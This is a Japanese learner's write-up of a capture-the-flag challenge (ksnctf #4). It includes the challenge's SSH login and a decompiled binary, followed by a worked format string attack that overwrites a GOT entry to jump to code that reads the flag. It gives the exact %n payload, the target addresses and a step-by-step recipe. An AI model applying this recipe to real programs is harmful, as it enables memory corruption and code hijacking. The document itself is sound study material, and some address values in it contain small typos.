ssh q4@ctfq.u1tramarine.blue -p 10004
Password: q60SIMpLlej9eq49
RSA key fingerprint (MD5): 7b:66:e1:98:96:50:94:ad:ef:d9:9a:a2:87:f2:2b:66
RSA key fingerprint (SHA-256): LBqdPUUa6DGkF6+BSQfNrILUDplXcgxzAUIiW/DeFQ8
自力でできたところ
とりあえずログインする
[q4@eceec62b961b ~]$ pwd
/home/q4
[q4@eceec62b961b ~]$ ll
total 32
dr-xr-xr-x 1 root root 4096 Feb 27 2021 ./
drwxr-xr-x 1 root root 4096 Feb 27 2021 ../
-rw-r--r-- 1 root root 18 Jul 21 2020 .bash_logout
-rw-r--r-- 1 root root 141 Jul 21 2020 .bash_profile
-rw-r--r-- 1 root root 456 Feb 27 2021 .bashrc
-r--r----- 1 root q4a 22 Feb 26 2021 flag.txt
-r-xr-sr-x 1 root q4a 5857 Feb 26 2021 q4*
flagファイルと実行ファイル以外怪しいものはなかった
実行してみた
[q4@eceec62b961b ~]$ ./q4
What's your name?
aaa
Hi, aaa
Do you want the flag?
bbb
Do you want the flag?
yes
Do you want the flag?
no
I see. Good bye.
実行してみたがよくわからないのでデコンパイル
% scp -P 10004 q4@ctfq.u1tramarine.blue:/home/q4/q4 .
undefined4 main(void)
{
char *pcVar1;
int iVar2;
char local_418 [1024];
int local_18;
FILE *local_14;
puts("What\'s your name?");
fgets(local_418,0x400,stdin);
printf("Hi, ");
printf(local_418);
putchar(10);
local_18 = 1;
while( true ) {
if (local_18 == 0) {
local_14 = fopen("flag.txt","r");
fgets(local_418,0x400,local_14);
printf(local_418);
return 0;
}
puts("Do you want the flag?");
pcVar1 = fgets(local_418,0x400,stdin);
if (pcVar1 == (char *)0x0) break;
iVar2 = strcmp(local_418,"no\n");
if (iVar2 == 0) {
puts("I see. Good bye.");
return 0;
}
}
return 0;
}
ここからwrite upをみました
ksnctf #4 Villager A 初めての書式文字列攻撃。
LinuxやMac,競技プログラミング,CTFなどに関するブログ。
これだけでは理解が追いつかなかった
まだ理解できた動画(書式文字列攻撃)
自分なりに理解した内容のまとめ
format string attack(書式文字列攻撃)
自由な値を自由なアドレスに書き込むことができる
GOT (Global Offset Table) overwrite
関数を呼び出すときに参照するアドレステーブルを書き換える手法(多分こんな感じ)
今回は format string attack + GOT (Global Offset Table) overwriteという手法
FSAを利用し、GOTのアドレス値を上書きすることにより、プログラムのコードをジャンプする
undefined4 main(void)
{
〜〜〜略〜〜〜
printf(local_418); //次行のputcharのアドレスを、fopenのアドレスに上書きをする
putchar(10); //ここは実行されず
local_18 = 1;
while( true ) {
if (local_18 == 0) {
local_14 = fopen("flag.txt","r"); //ここにジャンプする
fgets(local_418,0x400,local_14);
printf(local_418);
return 0;
}
〜〜〜略〜〜〜
}
putchar関数を指すアドレス: 0x080499e0
ジャンプ先(にしたい)アドレス:0x08048691
printfについてまとめる
[q4@eceec62b961b ~]$ echo -e "AAAA,%p,%p,%p,%p,%p,%p,%p,%p" | ./q4
What's your name?
Hi, AAAA,0x400,0xf7c41580,0xffe323f8,0x6,(nil),0x41414141,0x2c70252c,0x252c7025
printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p")
↓と同義になっている
printf("\xe0\x99\x04\x08,%p,%p,%p,%p,%p,%p,%p,%p",【0x400】, 【0xf7c41580】,【0xffe323f8】, 【0x6】, 【(nil)】, 【0x80499e0】, 【0x2c70252c】, 【0x252c7025】)
printf("\xe0\x99\x04\x08,%6$p",【0x80499e0】)
- printf(“ABCD%6$n“, 0x01, 0x02, 0x03, 0x04, 0x05, 0x000006 ) の場合、アドレス0x000006番地に、ABCDのバイト数→0x4を書き込むことができる
- 今回の問題では、
- printf(“ABCD%6$n“) とした場合、今回は6つ目にABCD=(リトルエンディアンで?)0x44434241が書き込まれ、アドレス0x44434241番地に、ABCDのバイト数→0x4を書き込まれる
- printf(“\xe0\x99\x04\x08%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x00\x04\x08のバイト数→0x4を書き込まれる
- 今回は、0x080499e0番地に、fopenの行のアドレス=0x0804869=(10進数)134514321を書き込みたい。
- 134514321を書き込みたいので、%6$nの前に134514321文字(バイト)を出力する必要がある
- 今回冒頭に4バイト(アドレス)記述しているため、-4した134514317バイトを、4バイトアドレスの後に出力したい。
- printf(“\xe0\x99\x04\x08%134514317x%6$n“) とした場合、6つ目に0x080499e0が書き込まれ、アドレス0x080499e0番地に、\xe0\x99\x04\x08%134514317x のバイト数→(10進数)134514321=0x08048691を書き込まれる
- なので出力は 0x080499e0【莫大な桁で1番目の0x400】になり、0x080499e0番地に、0x08048691が書き込まれる
自分なりに理解した内容のまとめ
書式文字列攻撃をする場合のまとめ
- まず AAAA%p,%p・・・%pを入力し、0x41414141が何番目に出現するか確認する
- 書き込みたいアドレス番地を特定 例:0xaabbccdd ※環境によっては後ほどリトルエンディアンで記述
- 書き込みたい値を決定し、値から4を引いた値を、10進数にする
- echo -e “\xdd\xcc\xbb\xaa%{10進数}x%何番目$n” をパイプで入力する
多分こんな感じ(ここまで理解するのに10時間ぐらいかけました…
コメント